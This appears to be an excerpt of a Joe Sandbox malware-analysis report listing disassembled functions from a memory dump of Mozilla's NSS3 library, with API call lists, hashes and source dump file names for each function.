API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 1641617fd32d818f8cea868924d77d22c7e8db80196b4e42feb91b6b92e71684
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 1721A4B5901B429BE700CF25D944B52B7F4BFA534CF25C219E81C8B7A2E770E594C6D1

Function 6CEBEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CEA7FFA,?,6CEA9767,?,8B7874C0,0000A48E), ref: 6CEBEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CEA7FFA,?,6CEA9767,?,8B7874C0,0000A48E), ref: 6CEBEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CEA7FFA,?,6CEA9767,?,8B7874C0,0000A48E), ref: 6CEBEE14

Part of subcall function 6CE90BE0: malloc.MOZGLUE(6CE88D2D,?,00000000,?), ref: 6CE90BF8
Part of subcall function 6CE90BE0: TlsGetValue.KERNEL32(6CE88D2D,?,00000000,?), ref: 6CE90C15

memcpy.VCRUNTIME140(?,?,6CEA9767,00000000,00000000,6CEA7FFA,?,6CEA9767,?,8B7874C0,0000A48E), ref: 6CEBEE33

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: bd6dc3b2014b4e6892bbae40d8e296f8406b713c8109f7ef9253762dc3a6c3a2
Instruction ID: a64a274fe56a91b77522820047473dcbec9c70b315e9c8cd4775d280c1c42b4e
Opcode Fuzzy Hash: bd6dc3b2014b4e6892bbae40d8e296f8406b713c8109f7ef9253762dc3a6c3a2
Instruction Fuzzy Hash: F61191B1A00B06ABEB109E65DD84B26B3B8AB0435DF304575E919A3B00E330F86487E2

Function 6CE3DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CE506A0: TlsGetValue.KERNEL32 ref: 6CE506C2
Part of subcall function 6CE506A0: EnterCriticalSection.KERNEL32(?), ref: 6CE506D6
Part of subcall function 6CE506A0: PR_Unlock.NSS3 ref: 6CE506EB

CERT_NewCertList.NSS3 ref: 6CE3DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CE3DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE3DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE3E029

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: dbaa878f2999b3a72da766e9acdd040c9f467130969971a8853a53b4c919684d
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 40116F75A00A35ABDB100EA95C40BAB7678AF4135CF341538E81CC7B00E73AFD15DAE1

Function 6CE58DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE58DE7
EnterCriticalSection.KERNEL32 ref: 6CE58DFC
PR_Unlock.NSS3 ref: 6CE58E2D
PR_SetError.NSS3 ref: 6CE58E49

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: fd9b312dba4c70e2ed8401f85a91086a19c4db92a7b9a90a0d7cd6cbc825029e
Instruction ID: 5951dea17cc4bccadb5600d02bdbf212f7a4f621f6ebc29c02e60c0f802b0695
Opcode Fuzzy Hash: fd9b312dba4c70e2ed8401f85a91086a19c4db92a7b9a90a0d7cd6cbc825029e
Instruction Fuzzy Hash: 41118F71A15A009BDB40BF38C448669BBF4FF06318F51492ADC89D7B00EB31E865CBD1

Function 6CEDAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CEC5F17,?,?,?,?,?,?,?,?,6CECAAD4), ref: 6CEDAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CEC5F17,?,?,?,?,?,?,?,?,6CECAAD4), ref: 6CEDACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CECAAD4), ref: 6CEDACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CECAAD4), ref: 6CEDACDB

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 120695f98501a3818af9197b5006c688bc53fa53b6a54958e8841368ca577504
Instruction ID: c197bc1e594289fda11b8693a52914776e108dffe8d83d5c8fb7bb07e4b6d707
Opcode Fuzzy Hash: 120695f98501a3818af9197b5006c688bc53fa53b6a54958e8841368ca577504
Instruction Fuzzy Hash: 82018CB1A01B019BE760DF39E908753B7F8BF00669B214839D85AC3B00E735F119CB90

Function 6CE41DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CE41DFB

Part of subcall function 6CE395B0: TlsGetValue.KERNEL32(00000000,?,6CE500D2,00000000), ref: 6CE395D2
Part of subcall function 6CE395B0: EnterCriticalSection.KERNEL32(?,?,?,6CE500D2,00000000), ref: 6CE395E7
Part of subcall function 6CE395B0: PR_Unlock.NSS3(?,?,?,?,6CE500D2,00000000), ref: 6CE39605

PR_EnterMonitor.NSS3 ref: 6CE41E09

Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90AB
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90C9
Part of subcall function 6CEF9090: EnterCriticalSection.KERNEL32 ref: 6CEF90E5
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF9116
Part of subcall function 6CEF9090: LeaveCriticalSection.KERNEL32 ref: 6CEF913F

Part of subcall function 6CE3E190: PR_EnterMonitor.NSS3(?,?,6CE3E175), ref: 6CE3E19C
Part of subcall function 6CE3E190: PR_EnterMonitor.NSS3(6CE3E175), ref: 6CE3E1AA
Part of subcall function 6CE3E190: PR_ExitMonitor.NSS3 ref: 6CE3E208
Part of subcall function 6CE3E190: PL_HashTableRemove.NSS3(?), ref: 6CE3E219
Part of subcall function 6CE3E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE3E231
Part of subcall function 6CE3E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE3E249
Part of subcall function 6CE3E190: PR_ExitMonitor.NSS3 ref: 6CE3E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE41E37
PR_ExitMonitor.NSS3 ref: 6CE41E4A

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: ce2cc46af64736e16269d819c766a3211194e613aa85e8c11a24d89208e9cf0e
Instruction ID: 6a676d9cb5ca5d9be7d794acc9fb53036afd380982bbd4113e136d423721a292
Opcode Fuzzy Hash: ce2cc46af64736e16269d819c766a3211194e613aa85e8c11a24d89208e9cf0e
Instruction Fuzzy Hash: 29017C7AB5015097EF005FA9EC00F4677B4AB46A4CF308025A92997B91E771E825CB92

Function 6CE41D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE41D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE41D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CE41D9C
free.MOZGLUE(00000000), ref: 6CE41DB8

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 69feae199c3798c8d9c9a885e24c94e46521d6c892d465fcf16a4557e4608101
Instruction ID: 74ff621326e203b23c084f8efa20f155c9a2bda9ca8805f72c35a74b09d0ee73
Opcode Fuzzy Hash: 69feae199c3798c8d9c9a885e24c94e46521d6c892d465fcf16a4557e4608101
Instruction Fuzzy Hash: CDF0F9F2A0121057FF105E99BC42B4736789BC279DF318239DD2D87B50D770E41582E1

Function 6CE8FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE39003,?), ref: 6CE8FD91

Part of subcall function 6CE90BE0: malloc.MOZGLUE(6CE88D2D,?,00000000,?), ref: 6CE90BF8
Part of subcall function 6CE90BE0: TlsGetValue.KERNEL32(6CE88D2D,?,00000000,?), ref: 6CE90C15

PORT_Alloc_Util.NSS3(A4686CE9,?), ref: 6CE8FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CE9,?,?), ref: 6CE8FDC4
free.MOZGLUE(00000000,?,?), ref: 6CE8FDD1

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: d0aa6cba5a9ebe4b685ba57106e6c9acdef5de2d8743b842cdba949318a26c5a
Instruction ID: e848db7706b8e4934c31e25e85c65991208338161309dbc256d097ab4ebe56e3
Opcode Fuzzy Hash: d0aa6cba5a9ebe4b685ba57106e6c9acdef5de2d8743b842cdba949318a26c5a
Instruction Fuzzy Hash: D9F0FCF16022025BFB015F55DC90A27B778EF4529DB248134EE1DCBB42E721D815C7E1

Function 6CF4CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CF4CC61
free.MOZGLUE ref: 6CF4CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CF4CC80
free.MOZGLUE(?), ref: 6CF4CC87

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 557a4bbe6d8b1eaec0c3848effa2ef7910bb6aef33723452ad85e64e4746980c
Instruction ID: ed31c224828076418346f24b672a0fcc72246752d25bd402b31d8abd50e76e03
Opcode Fuzzy Hash: 557a4bbe6d8b1eaec0c3848effa2ef7910bb6aef33723452ad85e64e4746980c
Instruction Fuzzy Hash: FBE065767016089FCA10EFA8DC88C9777BCEE4A6703150625E691C3700D235F905CBE1

Function 6CE29DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CE29E1F

Part of subcall function 6CDE13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CDB2352,?,00000000,?,?), ref: 6CDE1413
Part of subcall function 6CDE13C0: memcpy.VCRUNTIME140(00000000,6CDB2352,00000002,?,?,?,?,6CDB2352,?,00000000,?,?), ref: 6CDE14C0

Strings

ESCAPE expression must be a single character, xrefs: 6CE29F78
LIKE or GLOB pattern too complex, xrefs: 6CE2A006

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 161505ba46ade74c8ffb66a789f300cba635dbff9bb412029c6412e18cfbd498
Instruction ID: 621f2091c7de39bea12d93143c5afc6cd1ebb954bb703c956d8c1faa4809b705
Opcode Fuzzy Hash: 161505ba46ade74c8ffb66a789f300cba635dbff9bb412029c6412e18cfbd498
Instruction Fuzzy Hash: 04814B70A042118BE750CF39C0913BAB7F2BF4631CF389659D8A99BB81D739D846C791

Function 6CE84D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE84D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CE84DE6

Strings

%d.%d, xrefs: 6CE84DDE

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: dd726284e66811a8cbcb9c408b7134fbdd60d2620a0852b82bbf2dd63539672b
Instruction ID: fedaac366878df9bf328b293682446916974232dfff82f3e746f9823dce3b505
Opcode Fuzzy Hash: dd726284e66811a8cbcb9c408b7134fbdd60d2620a0852b82bbf2dd63539672b
Instruction Fuzzy Hash: 9D31E8B2D012186BEB509BA19C11BFF777CEF41308F250469ED199BB82EB359905CBA1

Function 6CEA4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8l,00000000,00000000,?,?,6CEA3827,?,00000000), ref: 6CEA4D0A

Part of subcall function 6CE90840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CE908B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6CEA4D22

Part of subcall function 6CE8FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE31A3E,00000048,00000054), ref: 6CE8FD56

Strings

'8l, xrefs: 6CEA4D07

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8l
API String ID: 1521942269-1867215535
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: ff1e907bcda8665c44e309766d1e53bed6ec26e319a01e712050e28e66ddc345
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 59F068326011285BDB104DEA9C4074336FC9B4567DF351272DD18CF791EB71CC428692

Function 6CECAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CECAF78

Part of subcall function 6CE2ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE2ACE2
Part of subcall function 6CE2ACC0: malloc.MOZGLUE(00000001), ref: 6CE2ACEC
Part of subcall function 6CE2ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE2AD02
Part of subcall function 6CE2ACC0: TlsGetValue.KERNEL32 ref: 6CE2AD3C
Part of subcall function 6CE2ACC0: calloc.MOZGLUE(00000001,?), ref: 6CE2AD8C
Part of subcall function 6CE2ACC0: PR_Unlock.NSS3 ref: 6CE2ADC0
Part of subcall function 6CE2ACC0: PR_Unlock.NSS3 ref: 6CE2AE8C
Part of subcall function 6CE2ACC0: free.MOZGLUE(?), ref: 6CE2AEAB

memcpy.VCRUNTIME140(6CF93084,6CF902AC,00000090), ref: 6CECAF94

Strings

SSL, xrefs: 6CECAF73

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 0d6e6ca87711e54e3c265ca416c7aeb3416f2407a644ae02c18c1e5b4d5cbbf5
Instruction ID: f03a19de46801a90921a4332f0bc10ceb492166340ce9b6dba10027d4a26a210
Opcode Fuzzy Hash: 0d6e6ca87711e54e3c265ca416c7aeb3416f2407a644ae02c18c1e5b4d5cbbf5
Instruction Fuzzy Hash: 052149B6F29A889EDF80DF51A6473177AB8B30260D7205118C22D4BB35E336445D9FD7

Function 6CE20F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CE20936,FFFFE8AE,?,6CDB16B7,00000000,?,6CE20936,00000000,?,6CDB204A), ref: 6CE20F1B

Part of subcall function 6CE21370: GetSystemInfo.KERNEL32(?,?,?,?,6CE20936,?,6CE20F20,6CE20936,FFFFE8AE,?,6CDB16B7,00000000,?,6CE20936,00000000), ref: 6CE2138F

PR_NewLogModule.NSS3(clock,6CE20936,FFFFE8AE,?,6CDB16B7,00000000,?,6CE20936,00000000,?,6CDB204A), ref: 6CE20F25

Part of subcall function 6CE21110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CE20936,00000001,00000040), ref: 6CE21130
Part of subcall function 6CE21110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE20936,00000001,00000040), ref: 6CE21142
Part of subcall function 6CE21110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE20936,00000001), ref: 6CE21167

Strings

clock, xrefs: 6CE20F20

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: c128cc4a3441fe853ed65334612001558bc79df86a9c78fad627cfdb171d1bc7
Instruction ID: 8e2cf13b4f0ba1650f04aced3912d5289c1f895df8d76318ca98700c77672d91
Opcode Fuzzy Hash: c128cc4a3441fe853ed65334612001558bc79df86a9c78fad627cfdb171d1bc7
Instruction Fuzzy Hash: E4D01232A0424455CB516BDB9C46F96F6BCC7C32B9F20482AE10942E205A7F5DDAD2A5

Function 6CE90DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CE90DF5
TlsGetValue.KERNEL32 ref: 6CE90E2D
TlsGetValue.KERNEL32 ref: 6CE90E58
TlsGetValue.KERNEL32 ref: 6CE90E84

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 1de625b02b8efd44aee95e196c3752e91ac27f4383bcab08aa9e1fb65638fb6b
Instruction ID: 1a13945ed3cfaaf7fd32c277f67a30c4a0350e6a03327213664a297343da7d06
Opcode Fuzzy Hash: 1de625b02b8efd44aee95e196c3752e91ac27f4383bcab08aa9e1fb65638fb6b
Instruction Fuzzy Hash: EF31A171A553848BDF406F38C58976977B4BF4E30CFA1466DD89887B61EB348485CB81

